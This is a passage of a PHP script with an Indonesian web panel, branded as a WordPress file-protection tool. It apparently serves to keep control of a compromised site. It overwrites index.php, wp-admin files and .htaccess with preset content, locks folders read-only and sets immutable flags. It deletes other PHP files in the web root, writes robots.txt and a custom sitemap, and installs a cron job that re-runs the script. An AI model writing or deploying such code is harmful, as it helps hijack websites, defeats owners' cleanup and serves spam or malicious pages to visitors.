$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$scriptUrl = $protocol . "://" . $domain . $_SERVER['PHP_SELF'];
// =================================================================================
// === UI & ROUTING ===
// =================================================================================
$actionRequested = isset($_GET['update']) || $isFix || $isUnlock;
if (!$actionRequested) {
$phpVersion = phpversion();
$isPhp8 = version_compare($phpVersion, '8.0.0', '>=');
$execAvailable = can_exec();
echo "<!DOCTYPE html>
<html lang='id'>
<head>
<meta charset='UTF-8'>
<meta name='viewport' content='width=device-width, initial-scale=1.0'>
<title>Kontrol Proteksi File - PHP {$phpVersion}</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);min-height:100vh;display:flex;align-items:center;justify-content:center;padding:20px}
.container{background:#fff;max-width:850px;width:100%;padding:35px;border-radius:20px;box-shadow:0 25px 80px rgba(0,0,0,0.25)}
h1{text-align:center;color:#2c3e50;font-size:26px;margin-bottom:5px}
.version-badge{display:inline-block;background:" . ($isPhp8 ? '#00b894' : '#0984e3') . ";color:#fff;padding:4px 14px;border-radius:20px;font-size:11px;font-weight:bold;margin-left:8px;vertical-align:middle}
.subtitle{text-align:center;color:#7f8c8d;font-size:13px;margin-bottom:25px}
.alert{padding:16px;border-radius:10px;margin-bottom:20px;font-size:13px;line-height:1.6}
.alert-success{background:#d4edda;color:#155724;border-left:5px solid #28a745}
.alert-info{background:#d1ecf1;color:#0c5460;border-left:5px solid #17a2b8}
.alert-warning{background:#fff3cd;color:#856404;border-left:5px solid #ffc107}
.btn-group{display:flex;flex-wrap:wrap;gap:12px;justify-content:center;margin:22px 0}
.btn{padding:14px 26px;border-radius:10px;text-decoration:none;font-weight:600;font-size:13px;transition:all 0.3s ease;box-shadow:0 4px 12px rgba(0,0,0,0.15);display:inline-block;min-width:200px;text-align:center}
.btn:hover{transform:translateY(-3px);box-shadow:0 8px 24px rgba(0,0,0,0.22)}
.btn-lock{background:linear-gradient(135deg,#f093fb 0%,#f5576c 100%);color:#fff}
.btn-opts{background:linear-gradient(135deg,#4facfe 0%,#00f2fe 100%);color:#fff}
.btn-upd{background:linear-gradient(135deg,#43e97b 0%,#38f9d7 100%);color:#2c3e50}
.btn-wpa{background:linear-gradient(135deg,#fa709a 0%,#fee140 100%);color:#2c3e50}
.btn-fix{background:linear-gradient(135deg,#a8edea 0%,#fed6e3 100%);color:#2c3e50}
.btn-unlock{background:linear-gradient(135deg,#ff6b6b 0%,#ee5a24 100%);color:#fff;border:3px solid #c0392b;animation:pulse 2s infinite}
.btn-unlock:hover{transform:translateY(-3px) scale(1.04)}
@keyframes pulse{0%,100%{box-shadow:0 0 0 0 rgba(220,53,69,0.6)}50%{box-shadow:0 0 0 15px rgba(220,53,69,0)}}
table{width:100%;border-collapse:collapse;margin:18px 0;font-size:12px;box-shadow:0 3px 12px rgba(0,0,0,0.08);border-radius:8px;overflow:hidden}
th,td{padding:12px 14px;text-align:left;border-bottom:1px solid #eee}
th{background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);color:#fff;font-weight:600}
tr:hover{background:#f8f9f9}
code{background:rgba(102,126,234,0.12);padding:2px 8px;border-radius:4px;font-size:11px;color:#667eea;font-weight:600}
.info-box{background:#f8f9fa;padding:20px;border-radius:12px;margin-top:22px;border:1px solid #e9ecef}
.info-box h3{margin:0 0 12px 0;color:#2c3e50;font-size:15px;border-bottom:2px solid #dee2e6;padding-bottom:8px}
.info-box ul{padding-left:20px}
.info-box li{margin-bottom:8px;line-height:1.5;color:#495057}
.badge-new{background:#dc3545;color:#fff;padding:3px 10px;border-radius:12px;font-size:10px;font-weight:bold;margin-left:6px;vertical-align:middle}
.checkmark{color:#28a745;margin-right:5px}
.crossmark{color:#dc3545;margin-right:5px}
</style>
</head>
<body>
<div class='container'>
<h1>π οΈ Kontrol Proteksi File <span class='version-badge'>PHP {$phpVersion}" . ($isPhp8 ? ' β' : '') . "</span></h1>
<p class='subtitle'>WordPress Auto-Protect v7.3 - <strong>ANTI 0KB VERSION</strong></p>
<div class='alert alert-success'>
<strong><span class='checkmark'>β</span> Status:</strong><br>
β’ <strong>.htaccess</strong> ditulis dengan Atomic Write & Verifikasi Konten<br>
β’ <strong>Anti 0KB:</strong> File di-backup ke memori sebelum diubah<br>
β’ <strong>exec() disabled?</strong> <span style='color:" . ($execAvailable ? '#28a745' : '#dc3545') . ";font-weight:bold'>" . ($execAvailable ? 'TIDAK - exec tersedia' : 'YA - menggunakan fallback') . "</span>
</div>";
if (!$execAvailable) {
echo "
<div class='alert alert-warning'>
<strong>β οΈ Catatan:</strong> Fungsi <code>exec()</code> dinonaktifkan server.<br>
β’ <code>chattr</code> tidak akan digunakan (attribute lock skipped)<br>
β’ Cron setup akan di-skip<br>
β’ Semua operasi tetap berjalan normal tanpa exec
</div>";
}
echo "
<div class='btn-group' style='border-bottom:2px solid #eee;padding-bottom:20px;margin-bottom:20px'>
<a href='?update=both_locked' class='btn btn-lock'>π LOCK FOLDERS</a>
<a href='?update=options' class='btn btn-opts'>βοΈ OPTIONS</a>
<a href='?update=both_unlocked' class='btn btn-upd'>π UPDATE</a>
<a href='?update=wpadmin' class='btn btn-wpa'>π WP-ADMIN</a>
</div>
<div class='btn-group'>
<a href='?fix' class='btn btn-fix'>π§ FIX</a>
<a href='?unlock' class='btn btn-unlock'>π UNLOCK ALL<span class='badge-new'>NEW</span></a>
</div>
<table>
<tr>
<th>Mode</th>
<th>Target</th>
<th>Permission</th>
<th>Cleanup</th>
</tr>
<tr style='background:#ffebee'>
<td><strong>π LOCK</strong></td>
<td>Folders Only</td>
<td><code style='color:#d63031;font-weight:bold'>0555</code></td>
<td><span style='color:#dc3545;font-weight:bold'>β AGRESIF</span></td>
</tr>
<tr style='background:#e8f5e9'>
<td><strong>π UNLOCK</strong></td>
<td>Folders Only</td>
<td><code style='color:#00b894;font-weight:bold'>0755</code></td>
<td>-</td>
</tr>
</table>
<div class='info-box'>
<h3>π Panduan</h3>
<ul>
<li><strong>π Lock:</strong> Update + Cleanup agresif + Lock folders</li>
<li><strong>π Unlock:</strong> Buka semua folder β 0755</li>
<li><strong>π§ Fix:</strong> Rebuild + Cleanup agresif</li>
</ul>
</div>
</div>
</body></html>";
exit;
}
// =================================================================================
// === EKSEKUSI ===
// =================================================================================
echo "<div style='font-family:Arial,sans-serif;padding:20px;max-width:800px;margin:20px auto;border:1px solid #ddd;border-radius:12px;background:#fafafa'>";
echo "<h3 style='text-align:center;color:#2c3e50;margin-bottom:15px'>" . ($isUnlock ? "π UNLOCK" : ($isFix ? "π§ FIX" : "π UPDATE")) . "</h3>";
echo "<pre style='background:#fff;padding:18px;border-radius:10px;font-size:12px;line-height:1.6;white-space:pre-wrap;overflow-x:auto;border:1px solid #eee'>";
try {
// =======================================================================
// MODE UNLOCK
// =======================================================================
if ($isUnlock) {
echo "π Mode: UNLOCK ALL FOLDERS\n";
echo "β° Start: " . date('H:i:s') . "\n\n";
forceRootDirPermission($baseDir);
echo "β Root permissions set\n";
foreach ($targetFiles as $file) {
removeImmutableFlag($file);
@chmod($file, 0644);
}
echo "β Target files unlocked\n";
$result = recursiveUnlockFoldersOnly_Safe($baseDir);
echo "β Folders unlocked: {$result['folders_unlocked']}\n";
unlockSuperFilesSafe($baseDir, $allowedFiles, $safeFiles);
echo "β Super files unlocked\n";
removeAutoCronSafe($scriptUrl);
if (!can_exec()) echo "βΉ Cron skipped (exec disabled)\n";
else echo "β Cron removed\n";
@chmod($baseDir, 0755);
@chmod($currentScript, 0644);
echo "β Final safety check done\n";
echo "\nβ
DONE at " . date('H:i:s') . "\n";
echo "π All folders now: 0755 (Full Access)\n";
// =======================================================================
// MODE FIX
// =======================================================================
} elseif ($isFix) {
echo "π§ Mode: FIX\n\n";
foreach ($targetFiles as $file) {
removeImmutableFlag($file);
@chmod($file, 0644);
}
removeImmutableFlag($baseDir);
@chmod($baseDir, 0755);
echo "β Files unlocked\n";
perbaruiFile($wpAdminFile, $backupDir, $wpAdminContent, 'wp-admin.php');
perbaruiFile($indexFile, $backupDir, $indexContent, 'index.php');
$htaccessWritten = paksaTulis($htaccess, $newHtaccess);
if (!$htaccessWritten || !verifyFileIntegrity($htaccess, $newHtaccess)) {
echo "β Retry htaccess write...\n";
usleep(500000);
removeImmutableFlag($htaccess);
@chmod(dirname($htaccess), 0755);
@chmod($htaccess, 0644);
paksaTulis($htaccess, $newHtaccess);
}
paksaTulis($wpAdminHtaccess, $newWpAdminHtaccess);
$criticalFiles = [
$htaccess => $newHtaccess,
$wpAdminHtaccess => $newWpAdminHtaccess,
$wpAdminFile => $wpAdminContent,
$indexFile => $indexContent
];
$allOk = true;
foreach ($criticalFiles as $file => $expected) {
if (!verifyFileIntegrity($file, $expected)) {
echo "β Verifying & retry: " . basename($file) . "\n";
removeImmutableFlag($file);
@chmod($file, 0644);
paksaTulis($file, $expected);
if (!verifyFileIntegrity($file, $expected)) {
echo "β FAILED: " . basename($file) . " still invalid!\n";
$allOk = false;
}
}
}
echo $allOk ? "β Files rebuilt & verified\n" : "β Some files need attention\n";
forceRootDirPermission($baseDir);
@chmod($currentScript, 0644);
echo "\nβ
Fix complete\n";
// =======================================================================
// MODE UPDATE
// =======================================================================
} else {
echo "π Mode: " . strtoupper($updateMode) . "\n";
echo "β° Start: " . date('H:i:s') . "\n\n";
forceRootDirPermission($baseDir);
echo "β Root OK\n";
perbaruiFile($wpAdminFile, $backupDir, $wpAdminContent, 'wp-admin.php');
if (in_array($updateMode, ['both_locked', 'both_unlocked'])) {
perbaruiFile($indexFile, $backupDir, $indexContent, 'index.php');
} elseif ($updateMode === 'options') {
perbaruiFile($indexFile, $backupDir, $wpAdminContent, 'index.php');
}
$htaccessOk = paksaTulis($htaccess, $newHtaccess);
if (!$htaccessOk || !verifyFileIntegrity($htaccess, $newHtaccess)) {
echo "β Htaccess write issue, retrying...\n";
usleep(500000);
removeImmutableFlag($htaccess);
@chmod($htaccess, 0644);
paksaTulis($htaccess, $newHtaccess);
}
paksaTulis($wpAdminHtaccess, $newWpAdminHtaccess);
foreach ([$htaccess => $newHtaccess, $wpAdminHtaccess => $newWpAdminHtaccess] as $file => $expected) {
if (!verifyFileIntegrity($file, $expected)) {
echo "β Retrying " . basename($file) . "...\n";
removeImmutableFlag($file);
@chmod($file, 0644);
paksaTulis($file, $expected);
}
}
echo "β Core files updated & verified\n";
foreach ([$wpAdminFile, $indexFile, $htaccess, $wpAdminHtaccess] as $file) {
$isSafe = in_array($file, $safeFiles);
if ($isSafe) @chmod($file, 0644);
else @chmod($file, 0555);
}
echo "β Core files locked (safe mode)\n";
$excludeDirs = array_merge($safeFolders, [$baseDir . '/wp-admin']);
$result = recursiveLockFoldersOnly_Safe($baseDir, $excludeDirs);
echo "β Folders locked: {$result['folders_locked']} | Excluded: {$result['folders_excluded']}\n";
lockBaseDirectorySafe($baseDir);
echo "β Base dir locked\n";
@chmod($currentScript, 0644);
echo "β Safety check passed\n";
echo "\nβ±οΈ End: " . date('H:i:s') . "\n";
}
// Cleanup (kecuali unlock mode)
if (!$isUnlock) {
echo "\nπ§Ή Cleanup AGRESIF (root only):\n";
echo "βββββββββββββββββββββββββββββ\n";
$deletedCount = cleanup_php_root_safe($baseDir);
echo "βββββββββββββββββββββββββββββ\n";
echo "π¦ Total dihapus: {$deletedCount} file\n";
$robotsGenerated = autoGenerateRobotsSafe($domain, $protocol);
if (!$isFix) {
$excludeDirs = array_merge($safeFolders, [$baseDir . '/wp-admin']);
recursiveLockFoldersOnly_Safe($baseDir, $excludeDirs);
lockBaseDirectorySafe($baseDir);
@chmod($currentScript, 0644);
}
if (!$robotsGenerated && $retryCount < $maxRetries) {
$newRetry = $retryCount + 1;
echo "\nβ³ Retry ($newRetry/$maxRetries)...";
echo "<script>setTimeout(()=>window.location.href='?retry=$newRetry',3000)</script>";
echo "</pre></div>";
exit;
}
echo "\nπ <a href='{$protocol}://{$domain}/sxallsitemap.xml' target='_blank' style='color:#007bff'>Sitemap</a>\n";
displaySxallsitemapSafe($domain, $protocol);
echo "\nβββββββββββββββββββββββββββββββ\n";
if ($isFix) {
echo "β Status: FIX COMPLETE β\n";
echo "β Cleanup: {$deletedCount} deleted β\n";
} else {
echo "β Status: LOCKED β\n";
echo "β Folders: 0555 π β\n";
echo "β Cleanup: {$deletedCount} deleted β\n";
superLockFilesSafe($baseDir, $allowedFiles, $safeFiles);
setupAutoCronSafe($scriptUrl);
if (can_exec()) echo "β Cron: ACTIVE β\n";
else echo "β Cron: SKIPPED (no exec) β\n";
}
echo "βββββββββββββββββββββββββββββββ\n";
}
@chmod($currentScript, 0644);
echo "\nβ
Completed safely at " . date('H:i:s') . "\n";
} catch (\Throwable $e) {
echo "\nβ ERROR CAUGHT:\n";
echo "Message: " . $e->getMessage() . "\n";
echo "File: " . $e->getFile() . ":" . $e->getLine() . "\n";
echo "\nπ¨ EMERGENCY: Unlocking all for recovery...\n";
@chmod($baseDir, 0755);
@chmod($currentScript, 0644);
recursiveUnlockFoldersOnly_Safe($baseDir);
try {
paksaTulis($htaccess, generateValidHtaccess($allowedFiles, basename($currentScript)));
echo "β Htaccess recovered\n";
} catch (\Throwable $e2) {
echo "β Could not recover htaccess\n";
}
echo "β
Emergency unlock completed.\n";
}
echo "</pre></div>";
?>